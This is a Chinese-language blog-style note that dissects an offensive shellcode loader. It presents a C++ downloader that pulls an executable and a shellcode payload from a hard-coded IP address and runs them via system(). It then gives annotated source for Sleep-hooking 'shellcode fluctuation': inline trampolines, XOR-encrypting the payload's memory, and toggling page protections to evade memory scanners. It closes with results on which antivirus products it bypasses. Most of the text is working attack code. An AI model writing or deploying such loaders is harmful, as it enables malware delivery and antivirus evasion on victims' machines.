参考链接1

参考链接2

思路

下载器–下载两个文件–执行两个文件

下载器实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#include <windows.h>
#include <urlmon.h>
#include <iostream>
#pragma comment(lib, "urlmon.lib")

HRESULT downloadFile(const LPCWSTR url, const LPCWSTR destination) {
HRESULT hr = URLDownloadToFile(nullptr, url, destination, 0, nullptr);

if (SUCCEEDED(hr)) {
std::wcout << L"File downloaded successfully: " << destination << std::endl;
}
else {
std::wcerr << L"File download failed. Error code: " << std::hex << hr << std::endl;
}
return hr;
}


int main() {
// 下载第一个文件
const LPCWSTR url1 = L"http://116.63.138.59/ShellcodeFluctuation.exe";
const LPCWSTR destination1 = L"ShellcodeFluctuation.exe";
HRESULT hr1 = downloadFile(url1, destination1);

// 下载第二个文件
const LPCWSTR url2 = L"http://116.63.138.59/payload_x64.bin";
const LPCWSTR destination2 = L"payload_x64.bin";
HRESULT hr2 = downloadFile(url2, destination2);

if (SUCCEEDED(hr1) && SUCCEEDED(hr2)) {

Sleep(2000);
system("ShellcodeFluctuation.exe payload_x64.bin 1");

}
return 0;
}
  1. 下载方式:windowsapi
  2. 执行方式:system

ShellcodeFluctuation

第一部分 主函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
int main(int argc, char** argv)
{
if (argc < 3)
{
log("Usage: ShellcodeFluctuation.exe <shellcode> <fluctuate>");
log("<fluctuate>:\n\t-1 - Read shellcode but dont inject it. Run in an infinite loop.");
log("\t0 - Inject the shellcode but don't hook kernel32!Sleep and don't encrypt anything");
log("\t1 - Inject shellcode and start fluctuating its memory with standard PAGE_READWRITE.");
log("\t2 - Inject shellcode and start fluctuating its memory with ORCA666's PAGE_NOACCESS.");
return 1;
}

std::vector<uint8_t> shellcode;

try
{
// Don't you play tricks with values outside of this enum, I'm feeling like catching all your edge cases...
g_fluctuate = (TypeOfFluctuation)atoi(argv[2]);
}
catch (...)
{
log("[!] Invalid <fluctuate> mode provided");
return 1;
}

log("[.] Reading shellcode bytes...");
if (!readShellcode(argv[1], shellcode))
{
log("[!] Could not open shellcode file! Error: ", ::GetLastError());
return 1;
}

if (g_fluctuate != NoFluctuation)
{
log("[.] Hooking kernel32!Sleep...");
if (!hookSleep())
{
log("[!] Could not hook kernel32!Sleep!");
return 1;
}
}
else
{
log("[.] Shellcode will not fluctuate its memory pages protection.");
}

if (g_fluctuate == NoFluctuation)
{
log("[.] Entering infinite loop (not injecting the shellcode) for memory IOCs examination.");
log("[.] PID = ", std::dec, GetCurrentProcessId());
while (true) {}
}
else if (g_fluctuate == FluctuateToNA)
{
log("\n[.] Initializing VEH Handler to intercept invalid memory accesses due to PAGE_NOACCESS.");
log(" This is a re-implementation of ORCA666's work presented in his https://github.com/ORCA666/0x41 project.\n");
AddVectoredExceptionHandler(1, &VEHHandler);
}

log("[.] Injecting shellcode...");

HandlePtr thread(NULL, &::CloseHandle);
if (!injectShellcode(shellcode, thread))
{
log("[!] Could not inject shellcode! Error: ", ::GetLastError());
return 1;
}

log("[+] Shellcode is now running. PID = ", std::dec, GetCurrentProcessId());

WaitForSingleObject(thread.get(), INFINITE);
}

流程:readshellcode—-hooksleep—-injectshellcode

第二部分 hooksleep

1
2
3
4
5
6
7
8
9
10
11
12
13
bool hookSleep()
{
HookTrampolineBuffers buffers = { 0 };
buffers.previousBytes = g_hookedSleep.sleepStub;
buffers.previousBytesSize = sizeof(g_hookedSleep.sleepStub);

g_hookedSleep.origSleep = reinterpret_cast<typeSleep>(::Sleep);

if (!fastTrampoline(true, (BYTE*)::Sleep, (void*)&MySleep, &buffers))
return false;

return true;
}

函数:MySleep

第三部分 MySleep

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
void WINAPI MySleep(DWORD dwMilliseconds)
{
const LPVOID caller = (LPVOID)_ReturnAddress();

//
// Dynamically determine where the shellcode resides.
// Of course that we could reuse information collected in `injectShellcode()`
// right after VirtualAlloc, however the below invocation is a step towards
// making the implementation self-aware and independent of the loader.
//
initializeShellcodeFluctuation(caller);

//
// Encrypt (XOR32) shellcode's memory allocation and flip its memory pages to RW
//
shellcodeEncryptDecrypt(caller);


log("\n===> MySleep(", std::dec, dwMilliseconds, ")\n");

HookTrampolineBuffers buffers = { 0 };
buffers.originalBytes = g_hookedSleep.sleepStub;
buffers.originalBytesSize = sizeof(g_hookedSleep.sleepStub);

//
// Unhook kernel32!Sleep to evade hooked Sleep IOC.
// We leverage the fact that the return address left on the stack will make the thread
// get back to our handler anyway.
//
fastTrampoline(false, (BYTE*)::Sleep, (void*)&MySleep, &buffers);

// Perform sleep emulating originally hooked functionality.
::Sleep(dwMilliseconds);

if (g_fluctuate == FluctuateToRW)
{
//
// Decrypt (XOR32) shellcode's memory allocation and flip its memory pages back to RX
//
shellcodeEncryptDecrypt((LPVOID)caller);
}
else
{
//
// If we fluctuate to PAGE_NOACCESS there is no need to decrypt and revert back memory protections just yet.
// We await for Access Violation exception to occur, catch it and from within the exception handler will adjust
// its protection to resume execution.
//
}

//
// Re-hook kernel32!Sleep
//
fastTrampoline(true, (BYTE*)::Sleep, (void*)&MySleep);
}

函数:shellcodeEncryptDecrypt—–xor32

第四部分 fastTrampoline initializeShellcodeFluctuation

fastTrampoline

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
bool fastTrampoline(bool installHook, BYTE* addressToHook, LPVOID jumpAddress, HookTrampolineBuffers* buffers)
{
#ifdef _WIN64
uint8_t trampoline[] = {
0x49, 0xBA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // mov r10, addr
0x41, 0xFF, 0xE2 // jmp r10
};

uint64_t addr = (uint64_t)(jumpAddress);
memcpy(&trampoline[2], &addr, sizeof(addr));
#else
uint8_t trampoline[] = {
0xB8, 0x00, 0x00, 0x00, 0x00, // mov eax, addr
0xFF, 0xE0 // jmp eax
};

uint32_t addr = (uint32_t)(jumpAddress);
memcpy(&trampoline[1], &addr, sizeof(addr));
#endif

DWORD dwSize = sizeof(trampoline);
DWORD oldProt = 0;
bool output = false;

if (installHook)
{
if (buffers != NULL)
{
if (buffers->previousBytes == nullptr || buffers->previousBytesSize == 0)
return false;

memcpy(buffers->previousBytes, addressToHook, buffers->previousBytesSize);
}

if (::VirtualProtect(
addressToHook,
dwSize,
PAGE_EXECUTE_READWRITE,
&oldProt
))
{
memcpy(addressToHook, trampoline, dwSize);
output = true;
}
}
else
{
if (buffers == NULL)
return false;

if (buffers->originalBytes == nullptr || buffers->originalBytesSize == 0)
return false;

dwSize = buffers->originalBytesSize;

if (::VirtualProtect(
addressToHook,
dwSize,
PAGE_EXECUTE_READWRITE,
&oldProt
))
{
memcpy(addressToHook, buffers->originalBytes, dwSize);
output = true;
}
}

static typeNtFlushInstructionCache pNtFlushInstructionCache = NULL;
if (!pNtFlushInstructionCache)
{
pNtFlushInstructionCache = (typeNtFlushInstructionCache)GetProcAddress(GetModuleHandleA("ntdll"), "NtFlushInstructionCache");
}

pNtFlushInstructionCache(GetCurrentProcess(), addressToHook, dwSize);


::VirtualProtect(
addressToHook,
dwSize,
oldProt,
&oldProt
);

return output;
}

直接jmp

initializeShellcodeFluctuation

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
void initializeShellcodeFluctuation(const LPVOID caller)
{
if ((g_fluctuate != NoFluctuation) && g_fluctuationData.shellcodeAddr == nullptr && isShellcodeThread(caller))
{
auto memoryMap = collectMemoryMap(GetCurrentProcess());

//
// Iterate over memory pages to find allocation containing the caller, being
// presumably our Shellcode's thread.
//
for (const auto& mbi : memoryMap)
{
if (reinterpret_cast<uintptr_t>(caller) > reinterpret_cast<uintptr_t>(mbi.BaseAddress)
&& reinterpret_cast<uintptr_t>(caller) < (reinterpret_cast<uintptr_t>(mbi.BaseAddress) + mbi.RegionSize))
{
//
// Store memory boundary of our shellcode somewhere globally.
//
g_fluctuationData.shellcodeAddr = mbi.BaseAddress;
g_fluctuationData.shellcodeSize = mbi.RegionSize;
g_fluctuationData.currentlyEncrypted = false;

std::random_device dev;
std::mt19937 rng(dev());
std::uniform_int_distribution<std::mt19937::result_type> dist4GB(0, 0xffffffff);

//
// Use random 32bit key for XORing.
//
g_fluctuationData.encodeKey = dist4GB(rng);

log("[+] Fluctuation initialized.");
log(" Shellcode resides at 0x",
std::hex, std::setw(8), std::setfill('0'), mbi.BaseAddress,
" and occupies ", std::dec, mbi.RegionSize,
" bytes. XOR32 key: 0x", std::hex, std::setw(8), std::setfill('0'), g_fluctuationData.encodeKey, "\n");

return;
}
}

log("[!] Could not initialize shellcode fluctuation!");
::ExitProcess(0);
}
}

总结

利用jmp来跳转,恢复则直接恢复修改前的代码,比较容易理解,在编写下载器的时候利用urldownloadtofile,chatgpt对于这块代码很熟悉,但是在命令执行上不管是利用system还是createprocess还是shellexecute生成的代码都很繁琐且报错,不过可以参考结构自己修改。

查杀:不能过defender,不能过360,能过火绒

最大收获就是知道了cs的sleep至少在4.9这个版本是利用的windows原版的sleep函数,自己下来修改的话就找这个函数的地址就行了。